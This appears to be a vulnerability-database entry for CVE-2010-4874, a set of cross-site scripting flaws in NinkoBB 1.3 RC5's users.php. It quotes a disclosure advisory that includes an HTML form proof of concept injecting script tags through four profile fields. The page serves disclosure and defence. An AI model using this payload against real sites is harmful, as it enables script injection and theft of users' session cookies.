CVE-2010-4874
Description
Multiple cross-site scripting (XSS) vulnerabilities in users.php in NinkoBB 1.3 RC5 allow remote attackers to inject arbitrary web script or HTML via the (1) first_name, (2) last_name, (3) msn, or (4) aim parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
NinkoBB 1.3RC5 - Cross-Site Scripting
Vulnerability ID: HTB22652
Reference: http://www.htbridge.ch/advisory/xss_in_ninkobb.html
Product: NinkoBB
Vendor: NinkoBB ( http://ninkobb.com )
Vulnerable Version: 1.3RC5 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "users.php" script to properly sanitize user-supplied input in "msn","aim","first_name" and "last_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/users.php?a=profile" method="post" />
<input type="hidden" name="first_name" value=""><script>alert('XSS1');</script>">
<input type="hidden" name="last_name" value=""><script>alert('XSS2');</script>">
<input type="hidden" name="msn" value=""><script>alert('XSS3');</script>">
<input type="hidden" name="aim" value=""><script>alert('XSS4');</script>">
<input type="submit" name="profile" value="submit">
</form>
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| ninkobb | ninkobb | 1.3 | |
References
- http://packetstormsecurity.org/1010-exploits/ninkobb-xss.txt
- http://secunia.com/advisories/41933
- http://securityreason.com/securityalert/8430
- http://www.exploit-db.com/exploits/15330
- http://www.htbridge.ch/advisory/xss_in_ninkobb.html
- http://www.osvdb.org/68897
- http://www.securityfocus.com/archive/1/514527/100/0/threaded
- http://www.securityfocus.com/bid/44462
- https://exchange.xforce.ibmcloud.com/vulnerabilities/62815
- http://packetstormsecurity.org/1010-exploits/ninkobb-xss.txt
- http://secunia.com/advisories/41933
- http://securityreason.com/securityalert/8430
- http://www.exploit-db.com/exploits/15330
- http://www.htbridge.ch/advisory/xss_in_ninkobb.html
- http://www.osvdb.org/68897
- http://www.securityfocus.com/archive/1/514527/100/0/threaded
- http://www.securityfocus.com/bid/44462
- https://exchange.xforce.ibmcloud.com/vulnerabilities/62815
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.